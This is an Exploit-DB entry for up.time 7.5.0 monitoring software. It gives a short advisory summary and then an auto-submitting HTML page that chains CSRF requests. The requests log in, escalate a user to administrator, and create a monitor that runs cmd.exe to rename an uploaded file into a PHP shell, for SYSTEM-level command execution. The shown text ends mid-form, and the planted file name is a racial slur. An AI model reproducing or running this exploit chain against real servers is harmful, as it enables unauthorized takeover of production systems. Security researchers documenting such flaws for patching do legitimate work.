Exploit-DB #37888
Description: up.time 7.5.0 - Upload and Execute
Type: webapps
Platform: php
Date: 2015-08-19
Author: LiquidWorm

Exploit:

up.time 7.5.0 Upload And Execute File Exploit


Vendor: Idera Inc.
Product web page: http://www.uptimesoftware.com
Affected version: 7.5.0 (build 16) and 7.4.0 (build 13)

Summary: The next-generation of IT monitoring software.

Desc: up.time suffers from arbitrary command execution.
Attackers can exploit this issue using the monitor service
feature and adding a command with respected arguments to given
binary for execution. In combination with the CSRF, Privilege
Escalation, Arbitrary text file creation and renaming that
file to php for example in arbitrary location and executing
system commands with SYSTEM privileges.

Tested on: Jetty, PHP/5.4.34, MySQL
           Apache/2.2.29 (Win64) mod_ssl/2.2.29 OpenSSL/1.0.1j PHP/5.4.34


Vulnerability discovered by Ewerson 'Crash' Guimaraes
                            @zeroscience


Advisory ID: ZSL-2015-5254
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5254.php


29.07.2015

--


<html>
 <head>
 <title>Uptime Exploit</title>
 </head>

<body onload="runme();">


<!-- Login --> 
<form name="login" action="http://127.0.0.1:9999/index.php" method="POST" target="frame0">
      <input type="hidden" name="username" value="sample" />
      <input type="hidden" name="password" value="123456" />
    </form>

<!-- Escalate privileges --> 
   <form name="privadm" action="http://127.0.0.1:9999/main.php?section=UserContainer&subsection=edit&id=2" method="POST" target="frame1">
      <input type="hidden" name="operation" value="submit" />
      <input type="hidden" name="disableEditOfUsernameRoleGroup" value="false" />
      <input type="hidden" name="username" value="sample" />
      <input type="hidden" name="password" value="123456" />
      <input type="hidden" name="passwordConfirm" value="123456" />
      <input type="hidden" name="firstname" value="Sample" />
      <input type="hidden" name="lastname" value="User" />
      <input type="hidden" name="location" value="" />
      <input type="hidden" name="emailaddress" value="" />
      <input type="hidden" name="emailtimeperiodid" value="1" />
      <input type="hidden" name="phonenumber" value="" />
      <input type="hidden" name="phonenumbertimeperiodid" value="1" />
      <input type="hidden" name="windowshost" value="" />
      <input type="hidden" name="windowsworkgroup" value="" />
      <input type="hidden" name="windowspopuptimeperiodid" value="1" />
      <input type="hidden" name="landingpage" value="MyPortal" />
      <input type="hidden" name="isonvacation" value="0" />
      <input type="hidden" name="receivealerts" value="0" />
      <input type="hidden" name="activexgraphs" value="0" />
      <input type="hidden" name="newuser" value="on" />
      <input type="hidden" name="newuser" value="1" />
      <input type="hidden" name="userroleid" value="1" />
      <input type="hidden" name="usergroupid&#91;&#93;" value="1" />
    </form>

<!-- Log-off to refresh permission --> 
	<form name="logoff" action="http://127.0.0.1:9999/main.php" method="POST" target="frame2">
      <input type="hidden" name="logout" value="1" />
    </form>

<!-- Login with escalated user --> 
	<form name="login2" action="http://127.0.0.1:9999/index.php?loggedout" method="POST" target="frame3">
      <input type="hidden" name="username" value="sample" />
      <input type="hidden" name="password" value="123456" />
    </form>

<!-- Creating Monitor to  rename php shell --> 
<form  name="createmonitor" action="http://127.0.0.1:9999/main.php?section=ERDCInstance&subsection=add" method="POST" target="frame4">
      <input type="hidden" name="initialERDCId" value="20" />
      <input type="hidden" name="target" value="1" />
      <input type="hidden" name="targetType" value="systemList" />
      <input type="hidden" name="systemList" value="1" />
      <input type="hidden" name="serviceGroupList" value="&#45;10" />
      <input type="hidden" name="initialMode" value="standard" />
      <input type="hidden" name="erdcName" value="Exploit" />
      <input type="hidden" name="erdcInitialName" value="" />
      <input type="hidden" name="erdcDescription" value="Exploit" />
      <input type="hidden" name="hostButton" value="system" />
      <input type="hidden" name="erdc&#95;id" value="20" />
      <input type="hidden" name="forceReload" value="0" />
      <input type="hidden" name="operation" value="standard" />
      <input type="hidden" name="erdc&#95;instance&#95;id" value="" />
      <input type="hidden" name="label&#95;&#91;184&#93;" value="Script&#32;Name" />
      <input type="hidden" name="value&#95;&#91;184&#93;" value="c&#58;&#92;windows&#92;system32&#92;cmd&#46;exe" />
      <input type="hidden" name="id&#95;&#91;184&#93;" value="process" />
      <input type="hidden" name="name&#95;&#91;process&#93;" value="184" />
      <input type="hidden" name="units&#95;&#91;184&#93;" value="" />
      <input type="hidden" name="guiBasic&#95;&#91;184&#93;" value="1" />
      <input type="hidden" name="inputType&#95;&#91;184&#93;" value="GUIString" />
      <input type="hidden" name="screenOrder&#95;&#91;184&#93;" value="1" />
      <input type="hidden" name="parmType&#95;&#91;184&#93;" value="1" />
      <input type="hidden" name="label&#95;&#91;185&#93;" value="Arguments" />
      <input type="hidden" name="value&#95;&#91;185&#93;" value="&#32;&#47;C&#32;ren&#32;"C&#58;&#92;Program&#32;Files&#92;uptime&#32;software&#92;uptime&#92;GUI&#92;wizards&#92;nigga&#46;txt"&#32;"nigga&#46;php"&#32;" />
      <input type="hidden" name="id&#95;&#91;185&#93;" value="args" />
      <input type="hidden" name="name&#95;&#91;args&#93;" value="185" />
      <input type="hidden" name="units&#95;&#91;185&#93;" value="" />
      <input type="hidden" name="guiBasic&#95;&#91;185&#93;" value="1" />
      <input type="hidden" name="inputType&#95;&#91;185&#93;" value="GUIString" />
      <input type="hidden"